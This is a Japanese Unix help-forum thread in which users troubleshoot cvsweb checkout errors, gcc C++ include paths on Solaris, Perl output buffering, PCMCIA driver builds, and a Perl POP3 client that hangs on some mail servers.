>>2330 しんベエ > 正しくは「if ( $pid = fork() ){」ですよね? ご指摘ありがとうございます。その通りですね。修正しておきます。 >>2331 なっち > お答えありがとうございました。 > かなり役に立ってます。すごいです。 じゃなくて、回答した結果、解決したかどうかをちゃんと書いて ください。とりあえず http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse を読んでください。 > UNIXで壁紙を自分のもっている画像にしたいのですが、 > xvコマンド以外で何か良い方法ありませんか? ImageMagick が入っているなら % display -window root 画像ファイル でできるかも。 >>2332 わたなべ あなたも http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse を読んでください。少なくともこの掲示板ではマルチポストは ダメですし、2ch でも歓迎はされないでしょう。 あと、OS は何ですか? cvs のバージョンは? RCS のバージョンは? cvsweb には zeller 版と knu 版がありますが、どっちを使って いますか? また、そのバージョンは? 内容を表示って、x-cvsweb-markup のことですか? それとも text/plain ですか? 仮にうちと同じ knu 版 cvsweb-1.105.1.65 だとすると、その エラーが出そうなところは exec($CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); しかなさそうなので、オプションなどの値を表示させてみて、 同じことをコマンドラインからやってみてはどうですか。 # http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/cgi-bin/cvsweb.cgi?rev=1.9&content-type=text/x-cvsweb-markup |
|
渡辺です。 >>2322 pon は非常に浅はかな行動だったと認識しました。 申し訳ありませんでした。 今後気を付けます。 質問の続きをさせて頂いてもよろしいでしょうか…? 使っている各ソフトウェアのバージョンですが、 OS : Solaris SunOS 5.8 CVS : 1.9 RCS : 5.7 cvswebは、68userさんが使われているのを、http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgiのリポジトリから拝借しました。(ひょっとして、これもまずい行動でしたか。) そして、内容の表示というのは、x-cvsweb-markupも、text/plainもです。 表示出来るファイルに関しては、双方とも表示出来るのですが、エラーが起きるファイルに関しては、両方ともに起きます。 また、68userさんがおっしゃってる通り、 exec($CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); でエラーが起きているであろうと考え、それをコマンドラインで実行してみたのですが、コマンドラインからは実行できました。 (実行できました。といいますか、あるファイルをチェックアウトでき、標準出力に出力されるという結果を得ました。) オプションの値を変更して…という事ですが、CVSに明るくないため、何をどうかえたら良いのかがわかりませんでした。 これで足りますでしょうか? もし、>>2332での事をお許し頂けるなら、何がアドバイス等を頂けたら嬉しいです。 結果報告もきちんとしますので、よろしくおねがいします。 |
|
>>2334 わたなべ での書き込みにある、>>2322は>>2332の間違いです。 重ねてお詫びします。申し訳ありません。 |
|
>>2334 わたなべ > ひょっとして、これもまずい行動でしたか。 問題ありません。書いてある通り、covered by the BSD-Licence です。 checkout できるファイルとできないファイルがあるということですから、 まずはリポジトリのパーミッションはどうなっているか確認して下さい。 同じディレクトリでも co できるファイルと co できないファイルがあれば、 ファイルのパーミッションが怪しいですし、あるディレクトリの下のファイルが 全て co できないならディレクトリのパーミッションがおかしいでしょうし。 うちの Solaris2.6 では % chown -R cvs /cvsroot (グループは cvs グループで統一) % chmod -R g+w /cvsroot (cvs グループに書き込み権限を与える) % find /cvsroot -type d | xargs chmod g+s (BSD タイプのパーミッションに) とかしてます。でも、cvsweb.cgi は nobody で動かしているから これは関係ないかな…。 また、CGI の実行権限は何ですか? 例えば nobody なら su nobody して から checkout してみて下さい。 実際にどういうコマンドが実行されているかは、 if (! open($fh, "-|")) { # child open(STDERR, ">&STDOUT"); # Redirect stderr to stdout exec($CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); } の前に print "Content-type: text/plain\n\n"; print qq(exec($CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where);); exit; などと書けばわかるでしょう。 それでもダメなら exec($CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); を exec("/bin/truss", $CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); として、どのファイルをオープンしようとしてエラーになっているかを 調べて下さい。ちなみに、こちらでやってみると open("/MASTER/cvs/CVSROOT/config", O_RDONLY) = 4 open("/MASTER/cvs/CVSROOT/cvsignore", O_RDONLY) Err#2 ENOENT open("//.cvsignore", O_RDONLY) Err#2 ENOENT open("/MASTER/cvs/CVSROOT/cvswrappers", O_RDONLY) = 4 open("/MASTER/cvs/CVSROOT/modules", O_RDONLY) = 4 .. open("/MASTER/cvs/admin/public_html/cvsweb.cgi,v", O_RDONLY) = 5 となります。 |
|
特定の一般ユーザをroot権限と同様な権限を与えたいのですが、 設定方法を教えてもらえないでしょうか。 /etc/groupのファイルのrootグループに追加するだけで はいけないのでしょうか。 |
|
度々すいません。 >>2336 68user >同じディレクトリでも co できるファイルと co できないファイルがあれば、 >ファイルのパーミッションが怪しいですし、あるディレクトリの下のファイルが >全て co できないならディレクトリのパーミッションがおかしいでしょうし。 リポジトリのパーミションを確認しました。 $CVSROOTディレクトリは 755 その中のプロジェクト毎のディレクトリは 775 でした。 各プロジェクト毎のディレクトリ内にある、サブディレクトリは 775 そして、ファイルは全て 444 でした。 チェックアウト出来るファイル/出来ないファイル、全て同一のパーミションで、同一のディレクトリ内にあるファイルでもチェックアウト出来るものと出来ないものがありました。 >また、CGI の実行権限は何ですか? >例えば nobody なら su nobody してから checkout してみて下さい。CGI は nobody で動いています。 su nobody をやってみたのですが、パスワードを求められました。 僕はこのサーバの管理者ではないので nobody にはなれない様な気がしているのですが、可能なのでしょうか? >実際にどういうコマンドが実行されているかは、 これは最初に書き込みをした時点でやってみました。 CGI からではなく、ターミナル上のコマンドからならチェックアウト出来ることも確認しております。 >exec("/bin/truss", $CMD{cvs}, @cvs_options, '-d', $cvsroot, 'co', '-p', $revopt, $where); やってみたところ、以下の様な出力を得ました = From ======================================== cvs checkout: cannot exec co: No such file or directory cvs checkout: could not check out xxx/yyy/Zzz.java waitid(P_PID, 17464, 0xFFBEF1C0, WEXITED|WTRAPPED|WNOWAIT) = 0 ioctl(0, TIOCGPGRP, 0xFFBEF17C) Err#22 EINVAL getpgid(17464) = 350 ioctl(0, TIOCGPGRP, 0xFFBEF17C) Err#22 EINVAL waitid(P_PID, 17464, 0xFFBEF1C0, WEXITED|WTRAPPED) = 0 waitid(P_ALL, 0, 0xFFBEF160, WEXITED|WTRAPPED|WNOHANG) = 0 fork() = 17467 waitid(P_PID, 17467, 0xFFBEF270, WEXITED|WTRAPPED|WNOWAIT) = 0 ioctl(0, TIOCGPGRP, 0xFFBEF22C) Err#22 EINVAL getpgid(17467) = 350 ioctl(0, TIOCGPGRP, 0xFFBEF22C) Err#22 EINVAL waitid(P_PID, 17467, 0xFFBEF270, WEXITED|WTRAPPED) = 0 waitid(P_ALL, 0, 0xFFBEF210, WEXITED|WTRAPPED|WNOHANG) = 0 llseek(0, 0, SEEK_CUR) Err#29 ESPIPE _exit(0) = End ========================================= 上のメッセージの3行目以降は、チェックアウト出来たファイル/出来なかったファイル共に出力されていました。 現状報告だけで申し訳ありません。 このページで学んだ通り、ユーザ権限で CGI を動かすようにもしてみたのですが、それでも何も状況は変わりませんでした。 |
|
>>2338 わたなべ の >例えば nobody なら su nobody してから checkout してみて下さい。CGI は nobody で動いています。 は >例えば nobody なら su nobody してから checkout してみて下さい。 CGI は nobody で動いています。 と訂正させてください。 毎度毎度申し訳ありません。 |
|
>>2332 わたなべ > cvs checkout: cannot exec co: No such file or directory ん〜、これってもしかして、単に co(1) が見付からないって 言ってるのかな? co(1) にパスは通ってます? # って、どういうときに co(1) が使われるのかいまいちわかってませんが。 ## これが原因なら、かなり的外れなことを言ってたことになるなぁ。 |
|
>>2340 68user >ん〜、これってもしかして、単に co(1) が見付からないって >言ってるのかな? co(1) にパスは通ってます? co(1) という書き方が何を指すのか、わからないのですが、 which co で得られるパスを、 cvsweb.conf の $command_path にコロンでつなげて 記述すればいいんですよね? 一応それはやってあります。 CVS も RCS も、root が入れたものではなく、ユーザ権限でインストール したもので、それらをユーザの ~foo/cgi-bin/cvsweb/ で使おうと しているのですが、その辺りに問題があったりしますか? |
|
>>2338 わたなべ > which co で得られるパスを、 cvsweb.conf の $command_path にコロンで > つなげて記述すればいいんですよね? はい、そうです。 > リポジトリのパーミションを確認しました。 ではリポジトリのパーミッションは問題ないでしょう。 > 僕はこのサーバの管理者ではないので nobody にはなれない様な気が > しているのですが、可能なのでしょうか? 一度 root にならないと nobody にはなれません。 truss の結果 (システムコールでこけているわけではないらしい) と、 > cvs checkout: cannot exec co: No such file or directory > cvs checkout: could not check out xxx/yyy/Zzz.java のメッセージから、単に PATH を検索して、co が見付からないので co -r1.1 /cvsroot/xxx/yyy/Zzz.java,v がこけているのかと思ったのですが、違うのかなぁ。成功するファイルと 失敗するファイルがあるというのが謎ですが…。 でも、最近の cvs (少なくとも cvs-1.11) では rcs (co も含む) は 使っていないはずなので違うかなぁ (cvs は rcs を使わないけど、 cvsweb は rcs を使う)。 …と書いたところで今気づきましたけど、 > CVS : 1.9 古いです。最新版は cvs-1.11.1-p1 のようですが、最低でも cvs-1.11 にして下さい。ここが一番怪しいかな。 ちなみに、最新版の cvsweb はこちらです。 http://www.idaemons.org/cgi-bin/cvsweb.cgi/cvsweb/ |
|
>>2342 68user >…と書いたところで今気づきましたけど、 >> CVS : 1.9 >古いです。最新版は cvs-1.11.1-p1 のようですが、最低でも cvs-1.11 >にして下さい。ここが一番怪しいかな。 cvs-1.11をインストールしてみましたところ、無事にcvswebも問題なく 動き出す様になりました。 最初に無礼を働いてしまったにも関わらず、解決まで長々と 付き合って頂き、本当にありがとうございました。 これからもちょくちょく来て、勉強させて頂きます。 ありがとうございました。 あと、ちょっとメインの話とはずれるのですが、 >>2340 68user にあった >co(1) というのはどのような時に書く方法なのでしょうか? |
|
>>2343 わたなべ > 無事にcvswebも問題なく動き出す様になりました。 それはよかったです。バージョンは? と聞いておきながら 古いのを見落としていたのは失敗でした。 >> co(1) > というのはどのような時に書く方法なのでしょうか? セクション番号を表します。セクション 1 はコマンドなので、 「co(1)」は「コマンド co」という意味です。 # http://X68000.startshop.co.jp/~68user/unix/pickup?man |
|
ありがとうございます。 >>2344 68user >セクション番号を表します。 あ、すでに書かれているところがありましたか…。ちゃんと見てから 質問しないとダメですね…。本当にすいません。 今回色々勉強させて頂きました。 本当に感謝感謝です。 なんだか、頼りっぱなしだったのでちょっと一人で勉強してきます。 また何かあったら質問しにくるかもしれませんが、その時はよろしく おねがいします。 |
|
はじめまして。ゆきと申します。当方の環境はSUN Sparc Solaris2.51 です。 会社でC++の環境が必要になり、UnixもC、C++もさほど詳しくない私が、 インターネットを頼りにgcc2.95.3のインストールをしました。 それで、渡されたC++のソースをコンパイルしたのですが、以下のような エラーが出ます。渡した本人は、エラーが出るのはおかしいと言って います。 % gcc -lstdc++ -o hello hellocpp.cpp hellocpp.cpp:1: iostream: No such file or directory hellocpp.cpp:2: string: No such file or directory これは要するにインクルードファイルを見に行けない状態なんだと 思いますが、gccのインストールが上手くいっていないのでしょうか? ちなみにC++のソースは以下です。 --------------------------------------------------------- #include <iostream> #include <string> using namespace std; class CHello { private: string m_strOut; public: CHello(){ m_strOut = "Hello World!"; }; virtual ~CHello(){}; void print(void); }; void CHello::print(void) { cout << m_strOut << endl; } int main() { CHello chHello; chHello.print(); } --------------------------------------------------------- 何でも良いので、何かお気付きのことがありましたら、教えて下さい。 よろしくお願い致します。 |
|
>2346 ゆきさんはじめまして iostream じゃなくて iostream.h、 string じゃなくて string.h だと思います。 h は Header に通常つく拡張子です。 |
|
とかいって、<iostream> だけの書き方もあるんですね。 手元の cpp ソースは、<iostream.h> でコンパイルできていたのを <iostream> だけにしたら同様のエラーが出たので、 「.h を付けてみる」をトライする価値はあると思いますが。 |
|
>2348 ふくしさんへ お返事ありがとうございます。土曜は会社に行っていないため、教えて 頂いたことはまだ試していないのですが、日曜に休日出勤(サービス) でもして試してみようかと思います。ところで、申し訳ありませんが、 もしご存知であれば、もう少し教えて頂けないでしょうか。 今回、私にソースを渡した人は、Linux環境で試したらしいのですが、 コンパイル時は gcc -lstdc++ -o hello hellocpp.cpp というふうにしろと言っています。調べてみるとオプション-lは、 ライブラリファイルへのリンクだと知りました。こちらのマシーンを 覗いてみますと、-lstdc++は、どうやら/usr/local/bin/libstdc++を 見に行くように指定しているようなのですが、これがファイルではなく、フォルダなのです。そういうことで、よろしいんでしょうか? しかし、仮にlibstdc++フォルダを見に行くとしても、libstdc++直下 には、iostream(.h)もstring(.h)もありません。これらは、 usr/local/bin/libioというフォルダの中にありました。 ふくしさんは、iostream.hとすると上手くいったということですが、 libstdc++フォルダの中に、iostream.hもstring.hもあったと認識して よろしいのでしょうか?もしそうなら、それらが入っていない私の 環境は、やはりインストール時の失敗ということでしょうか・・・ もしよろしければ、お教え頂けませんか?よろしくお願い致します。 |
|
>>2348 ふくし > とかいって、<iostream> だけの書き方もあるんですね。 C++ はよく知りませんが、namespace 対応の C++ コンパイラならば .h を省略できるはずです。 gcc は長らく namespace への対応がダメダメでしたが、少なくとも gcc-2.95.3 では OK です。 で、iostream はヘッダファイルです。libstdc++ はライブラリです。 ヘッダファイルがないと言われているのにライブラリのことを気に するのは間違っています。 >>2349 ゆき > これらは、usr/local/bin/libioというフォルダの中にありました。 それはライブラリのソースでしょう。それが /usr/local/bin/ に あるのはおかしいです。 > コンパイル時は gcc -lstdc++ -o hello hellocpp.cpp というふうに > しろと言っています -lstdc++ は不要です。C で -lc が不要なのと同じで、わざわざ指定 しなくても勝手に libstdc++ はリンクされます (指定してもいいですが)。 > -lstdc++は、どうやら/usr/local/bin/libstdc++を見に行くように > 指定しているようなのですが どうしてそのように判断しましたか? 普通 -lhoge とすると /usr/lib/libhoge* というファイルがリンクされます。 手もとの環境を見てみると、ヘッダファイルとライブラリは以下の 場所に置いてありますので、参考にしてみて下さい。 Solaris8 + gcc-2.95.2 /opt/sfw/include/g++-3/iostream /opt/sfw/include/g++-3/iostream.h /opt/sfw/lib/libstdc++.a.2.10.0 /opt/sfw/lib/libstdc++.so.2.10.0 FreeBSD + gcc-2.95.2 /usr/include/g++/iostream /usr/include/g++/iostream.h /usr/lib/libstdc++.a /usr/lib/libstdc++.so Linux + gcc-2.95.2 /usr/include/g++-3/iostream /usr/include/g++-3/iostream.h /usr/lib/libstdc++-libc6.1-2.a.3 /usr/lib/libstdc++-libc6.1-2.so.3 結局のところ、うまくインストールできていないのではないかと思います。 |
|
はじめまして。yamaと申します。 Perlで困っています。 STDOUTの初期化の方法がわかりません。 print文にてhtmlを出力していますが、途中でエラーが発生 した場合、出力済みの情報を初期化し、エラーメセージを出力したい と考えています。 *STDOUT=""; としましたが、エラー表示以前の分も出力されます。 このようなことは不可能なのでしょうか。 プロバイダ環境はUNIXでApacheのサーバです。 なお、UNIX、Apache、Perlのバージョン 等詳しくは聞いていません。 |
|
>>2351 yama > このようなことは不可能なのでしょうか。 不可能です。stdout に出力したものは既に出力済かもしれませんし、 まだバッファに溜っているかもしれませんが、それをクリアする 方法はありません。出力済かどうかを判断する方法もありません。 # Java Servlet だとできるんですけどね。 というわけで、自前でバッファリングしましょう。 |
|
>>2352 68userさんへ お返事ありがとうございます。 「不可能」ですか。 ロジックを変更し、必要なチェックを先にするようにします。 今後ともよろしくご指導ください。 |
|
いつも、お世話になっています。ダウンロードについてなんですが、 .lzhのファイルをコンパイルすることは、UNIXではできるのでしょうか。 もしできるようであれば、ダウンロードの仕方を教えてください。 ちなみに、僕は「Solaris2.6」を使っています。お返事お願いします。 |
|
>2354 ゆうすけさん、はじめまして。 「lzh のファイルを UNIX でコンパイルする」 と言われると複数に解釈できて、 1)UNIX 上にある複数のファイルを固めて lzh の圧縮書庫を作る 2)どっかから持ってきた lzh の圧縮書庫を展開して、 その中の C とかのソースツリーをコンパイルする のどっちでしょう。 で、どっちもできます。ただし条件があって、お使いの Solaris に lha というプログラムがあるかどうかです。 コマンドラインで「lha」と打ち込んでみてください。 ある場合は使い方が表示され、ない場合は「ない」と起こられます。 で、ある場合はそれを使い、ない場合はインストールします。 で、使い方/インストールの仕方ですが、 とりあえず「lha」というコマンドの名前までわかったので、 あとは検索するなりしてがんばってみて、 どうしてもダメだったらまた聞いてください。 そのとき上の1)なのか2)なのかそれ以外なのかも教えてください。 >2350 68userさん、フォローありがとうございます。 ていうかいつもご苦労様です。 ちょっとでも負担を軽減しようとがんばってみたんですが 役に立たず、申し訳ありません ;;; |
|
>>2350 68userさんへ お返事ありがとうございました。下記2349の中で、私は勘違いな発言を していたようです。 >-lstdc++は、どうやら/usr/local/bin/libstdc++を見に行くように >指定しているようなのですが とありますが、違いますよね。libstdc++の中の、libstdc++.aという ライブラリファイルを見に行ってるということですね。ということは、 ---------------------------------------------------- hellocpp.cpp:1: iostream: No such file or directory hellocpp.cpp:2: string: No such file or directory ---------------------------------------------------- と言うエラーで見に行っているインクルードファイルは、自動的にリンク されなければならないということでしょうか。私の行ったインストールは どうもおかしいような気がしてきました。 ちなみに、こちらの環境は以下のようになっていました。 /usr/local/bin/libstdc++/iostream /usr/local/bin/libio/iostream.h /usr/local/bin/libstdc++/libstdc++.a libstdc++.so*は検索しても無いような状況でした。やはり再インストール をしてみようと思いますが、上記フォルダ階層はそもそも間違いで、 正しいインストール先というのは、インストール時に指定できるように なっているものなのでしょうか?何度も申し訳ありませんが、よければ その辺りのことを詳しくお教え願えませんでしょうか? よろしくお願い致します。 |
|
>>2356 ゆき > libstdc++の中の、libstdc++.aというライブラリファイルを見に行ってる > ということですね。 インクルードとリンクは全く別物です。インクルードファイルと ライブラリには何の関係もありません。 > 自動的にリンクされなければならないということでしょうか。 インクルードファイルはリンクするものではなく、インクルードする ものです。 -v を付けてコンパイルすると以下のようになります。 % g++ -v a.cpp Using builtin specs. gcc version 2.95.2 19991024 (release) /usr/libexec/cpp -lang-c++ -v -D__GNUC__=2 -D__GNUG__=2 -D__GNUC_MINOR__=95 -D__cplusplus -Di386 -Dunix -D__FreeBSD__=4 -D__FreeBSD_cc_version=420000 -D__i386__ -D__unix__ -D__FreeBSD__=4 -D__FreeBSD_cc_version=420000 -D__i386 -D__unix -Acpu(i386) -Amachine(i386) -Asystem(unix) -Asystem(FreeBSD) -D__EXCEPTIONS -Acpu(i386) -Amachine(i386) -Di386 -D__i386 -D__i386__ -D__ELF__ a.cpp /tmp/ccFhD943.ii GNU CPP version 2.95.2 19991024 (release) (i386 FreeBSD/ELF) #include "..." search starts here: #include <...> search starts here: ← ここ★ /usr/include/g++ ← ここ★ /usr/include ← ここ★ /usr/include ← ここ★ End of search list. The following default directories have been omitted from the search path: End of omitted list. /usr/libexec/cc1plus /tmp/ccFhD943.ii -quiet -dumpbase a.cc -version -o /tmp/cctFu943.s GNU C++ version 2.95.2 19991024 (release) (i386-unknown-freebsd) compiled by GNU C version 2.95.2 19991024 (release). /usr/libexec/elf/as -v -o /tmp/ccvXl943.o /tmp/cctFu943.s GNU assembler version 2.10.0 (i386-unknown-freebsd4) using BFD version 2.10.0 /usr/libexec/elf/ld -m elf_i386 -dynamic-linker /usr/libexec/ld-elf.so.1 /usr/lib/crt1.o /usr/lib/crti.o /usr/lib/crtbegin.o -L/usr/libexec/elf -L/usr/libexec -L/usr/lib /tmp/ccvXl943.o -lstdc++ -lm /usr/lib/libgcc.a -lc /usr/lib/libgcc.a /usr/lib/crtend.o /usr/lib/crtn.o ★を付けた部分でインクルードファイルの取り込みが行われます。 この環境では、標準のインクルードファイルは /usr/include/g++、 /usr/include である、ということがわかります。そこにインクルード ファイルが置いてあれば何もエラーは起こらないはずです。 で、★の部分が終わったら初めてライブラリが出てくるわけで (ld がライブラリをリンクする)、★がうまくいかないのに ライブラリが云々と悩むのはおかしいです。 > /usr/local/bin/libstdc++/iostream > /usr/local/bin/libio/iostream.h > /usr/local/bin/libstdc++/libstdc++.a これはソースで、本来不要なファイルではないですか? /usr/local/bin/ に ファイルを展開して、そこで make したんじゃないかと想像しますが。 > 上記フォルダ階層はそもそも間違いで、 おそらく間違いでしょう。 > 正しいインストール先というのは、インストール時に指定できる > ようになっているものなのでしょうか? ソースからコンパイルしたなら、make 時に指定することもできますが、 普通はデフォルトのディレクトリにインストールします。 とりあえず package を利用してはどうですか? ftp://SunSITE.sut.ac.jp/pub/sun-info/Solaris/sparc/2.5/gcc-2.95.3-sol25-sparc-local.gz |
|
>>2337 aki おっと、見逃していました。 > /etc/groupのファイルのrootグループに追加するだけで > はいけないのでしょうか。 root グループにはなれますが、root にはなれません。 sudo など、setuid などで検索してみてください。 |
|
はじめましてkanjiと申します。コマンドのページを良く利用させて頂いています。感謝です。 UNIXの掲示板で、Linuxの質問をよろしいでしょうか。 本題の質問なのですが、初めてRedHat Linux7Jをインストールし、Webサーバの構築を考えています。 ですがPCMCIAのNWカードを認識してくれません。(3com 3c589Dを使用) そこでPCMCIAのドライバをインストールしようとpcmciacs.3.1.30.tar.gz を入手し、 #zcat pcmciacs.3.1.30.tar.gz | tar xvf - #cd pcmciacs.3.1.30.tar.gz #make config を行なうと、configエラーが出ます。ソースツリーが無いと言われます。 ソースツリーとはどのようなもので、どうやってインストールすれば良いのでしょうか。 よろしくお願い致します。 |
|
>>2359 kanji pcmciacs.3.1.30.tar.gz を展開した pcmciacs.3.1.30 以下のディレクトリ構造がソースツリーでは。 % cd pcmciacs.3.1.30.tar.gz ではなくて、 % cd pcmciacs.3.1.30 では? 〜.tar.gz は圧縮ファイルです。 cd は Change Directory です。 |
|
>>2360 ふくし > pcmciacs.3.1.30 以下のディレクトリ構造がソースツリーでは。 Linux も pcmcia も全然知りませんけど、 http://www.linux.or.jp/JF/JFdocs/PCMCIA-HOWTO-2.html などを見るに、カーネルソースを展開して、そこに pcmciacs*.tar.gz を 展開して、make config && make all && make install してモジュールを インストールすべきなのに、カーネルソースツリーが存在していないので エラーになってるんじゃないでしょうか。 >>2359 kanji > configエラーが出ます。 具体的にどういうエラーが出るかをちゃんと書けば、何が問題か わかる人にはわかるでしょう。 # 僕は残念ながら わからない人です。 |
|
>>2360 ふくし >>2361 68user すみません、わかりました。 ありがとうございました。 カーネルソースの展開が抜けているのでしょう。 早速やってみます。 |
|
初めまして、inabaと申します。 >>2359 kanji 3com だったら、ディフォルトで認識してくれると思いますが…。 ただ、network と pcmcia の起動順が逆なので失敗しているのかも。 # cd /etc/init.d # ./pcmcia restart # ./network restart と入力してみてください。 # ifconfig で、eth0 が認識されていませんか? 見当違いだったらすみません。 |
|
はじめまして、渡邊と申します。 ネットワークプログラムに興味があり、POP3 クライアントを作ってみよう(2)の POP3 クライアントサンプルを動作させてみました。 お聞きしたいのは、このままでちゃんとメールが表示されるプロバイダーと表示されないプロバイダーがあり、ニフティでは途中で固まってしまいます。認証までは動いているようで、LISTので止まっているようです。 どうすれば、いいか教えていただけませんか? |
|
>>2364 わたなべ > LISTので止まっているようです。 http://x68000.startshop.co.jp/~68user/net/sample/pop3-client.pl ですね? telnet で pop3 サーバと話してみるとどうなりますか? LIST 送信の後の while (<SOCKET>){ m/^\.\r\n$/ && last; を while (<SOCKET>){ print "[$_]"; m/^\.\r\n$/ && last; として実行すると何が表示されますか? Windows マシンで動かしていますか? (環境はちゃんと書きましょう) もしそうなら socket(SOCKET,PF_INET,SOCK_STREAM,0)|| die ... の後に binmode(SOCKET); という行を追加するとどうなりますか? |
|
はじめまして。いつも勉強させてもらっています。 >>2364 わたなべ > LISTので止まっているようです。 私も、pop3 クライアントを自作したときに、同じことを経験しました。 そのときは、pop3 サーバが NT で、 > +OK IMS POP3 Server 0.87 Ready というものだったのですが、 LIST の返事に、"." のみの行がなかったのです。 > +OK 0 message (0 octets) > 0 messages (0 octets) こんな感じでした。 |
|
>>2366 kuw >LIST の返事に、"." のみの行がなかったのです。 補足です。 その時は、LIST のかわりに STAT を使うようにして回避しました。 |
|
>>2365わたなべ 早速ありがとうございます。 試してみましたが、状況は変わりません。 環境は、Windows2000のクライアントで、サーバーはFreeBSDです。 telnet pop.nifty.com 110 USER ****** PASS ****** LIST とやる分には、NIFTYでもちゃんとリストされます。 print "[$_]";を追加してみると [+OK <**********> ][+OK ][+OK と表示されます。 print $_; にしてみると、 +OK <**********> +OK +OK で止まってしまいます。 いづれも、Ctrl+Cで終了しないと終わりません。 ところがiij4uでは、 +OK IIJ ************ +OK ************ +OK ************ +OK 5 messages**** と言う感じで正常に動いています。 尚、binmode(SOCKET);を追加してみても状況に変化はありません。 iij4uとNIFTYの差は、+OKの後にiij4uの方は文字があるのですが、NIFTYは何も無いことぐらいです。 att.ne.jpでも動きませんでした。 もちろんtelnetで直接タイプすればリストも問題ありません。 よろしくお願いします。 |
|
>>2364わたなべ kuwさんありがとうございます。 STATを使う件、本日世が明けたら試してみます。 ありがとうございます。 |
|
>>2366 kuw > LIST の返事に、"." のみの行がなかったのです。 >> +OK 0 message (0 octets) >> 0 messages (0 octets) なるほど。もう少し詳しくお聞かせ下さい。 それは mail box にメールがたまっていなかったときのみ . が ないのでしょうか? あるいはメールがたまっていても . がない のでしょうか? また、その POP3 サーバアプリケーションの名前は 何かわかりますか? ちなみに . をもってレスポンスの終了と見なしている根拠は http://ring.ip-kyoto.ad.jp/pub/doc/RFC/rfc1939.txt > When all lines of the response have been sent, a > final line is sent, consisting of a termination octet (decimal code > 046, ".") and a CRLF pair. > Examples: > C: LIST > S: +OK 2 messages (320 octets) > S: 1 120 > S: 2 200 > S: . です。 |
|
>>2370 68user >それは mail box にメールがたまっていなかったときのみ . が >ないのでしょうか? あるいはメールがたまっていても . がない >のでしょうか? メールがたまっていなかったときのみです。 メールがたまっているときは、 > +OK 1 messages (1146 octets) > 1 1146 > . となります。 >また、その POP3 サーバアプリケーションの名前は >何かわかりますか? EMWAC の IMS POP3 Server 0.87 です。 5, 6 年前に NT にインストールして以来、そのまま使っているので、 かなり古いものだと思います。 # この数年、NT を全くいじっていないので、最近の事情はわかりませんが・・・ >ちなみに . をもってレスポンスの終了と見なしている もちろん、これは正しい仕様だと思いますし、 同じ仕様の MUA やメールチェッカーも多いと思います。 |
|
>>2364わたなべ おはようございます。 昨日の続きですが、下記のようシンプルにしてテストしてみましたが、状況に変化はありませんでした。 よろしく御願いします。 --------------------------------------------- print SOCKET "USER $username\r\n"; print SOCKET "PASS $passwd\r\n"; print SOCKET "LIST\r\n"; while (<SOCKET>){ m/^\.\r\n$/ && last; print $_; } print SOCKET "QUIT\r\n"; --------------------------------------------- 上記の結果 ■AT&Tに接続した場合 +OK <283**.10082***86@mail.att.ne.jp> +OK +OK (ここで止まってしまうので Ctrl+C) ^C % ■iij4uに接続した場合 +OK IIJ POP3 Server (**.iij4u.or.jp) starting. <128**.1008***94@**.iij4u.or.jp> +OK Password required: ******@**.iij4u.or.jp +OK ******@**.iij4u.or.jp has 2 messages (2182 octets) +OK 2 messages (2182 octets) % ------------------------------------------------------------------------------- ■telnetでAT&Tに接続した場合 telnet ***.att.ne.jp 110 +OK <283**.10082***86@mail.att.ne.jp> USER ******** +OK PASS ******** +OK LIST +OK 1 958 2 960 . QUIT +OK ■telnetでiij4uに接続した場合 telnet **.iij4u.or.jp 110 +OK IIJ POP3 Server (**.iij4u.or.jp) starting. <128**.1008***94@**.iij4u.or.jp> USER ******** +OK Password required: ******@**.iij4u.or.jp PASS ******** +OK ******@**.iij4u.or.jp has 2 messages (2182 octets) LIST +OK 2 messages (2182 octets) 1 1090 2 1092 . QUIT +OK IIJ POP3 Server (w/mdir) (m-**.iij4u.or.jp) signing off |
|
>>2371 kuw ありがとうございます。ということは、その POP3 サーバのバグと 判断してもよいようですね。 >>2372 わたなべ では、残るは改行コードくらいですかね。 select(SOCKET); $|=1; select(STDOUT); $|=1; # 標準出力のバッファリングも OFF print SOCKET "USER $username\r\n"; print SOCKET "PASS $passwd\r\n"; print SOCKET "LIST\r\n"; while (sysread(SOCKET, $_, 1) ){ # read(2) を使って読む。 printf("$_ [%02X] ", unpack('c',$_)); } print SOCKET "QUIT\r\n"; を試して下さい。 |
|
>>2373わたなべ 試してみました。 +[2B] O [4F] K [20] ・・・・・・ [3E] [0D] + [2B] 0 [4F] K [4B] [20] [0D] + [2B] 0 [4F] K [4B] [20] [OA] で止まります。 NIFTYもAT&Tもこうした現象なのですが解決方法は無いものでしょうか? |
|
>>2374 わたなべ 接続時のリプライは +OK....\r USER に対するリプライは +OK \r PASS に対するリプライは +OK \n という変なサーバであることがわかります。 # このサーバは RFC1939 に準拠していないと思います。このサーバ # アプリの名前を教えていただけますか。 で、\r や \n だけでも行末と見なすように、 m/^\.\r\n$/ && last; を m/^\.(\r\n|\r|\n)$/ && last; として下さい (*A)。 で、これだけの対処では多分挙動は変わらないでしょう。 > [OA] で止まります。 ということは、相手が LIST に対するリプライをしていない、 つまり「LIST を受け取ったと解釈していない」ということなので、 やはり SOCKET がテキストモードになっており、 print SOCKET "LIST\r\n"; が print SOCKET "LIST\r\r\n"; となって送信されているのではないかと推測します。 *A の変更を行った上で、再度 binmode(SOCKET) を挿入してみて下さい。 # Windows には詳しくないのですが、これでよいんでしたっけ?>どなたか |
|
>>2375わたなべ 試してみましたが、状況は変わりませんでした。 AT&TにPOP3のアプリケーションを確認したところ、qmailだそうです。 サーバーのOSは、教えてくれませんでした。 よろしく御願いします。 |
|
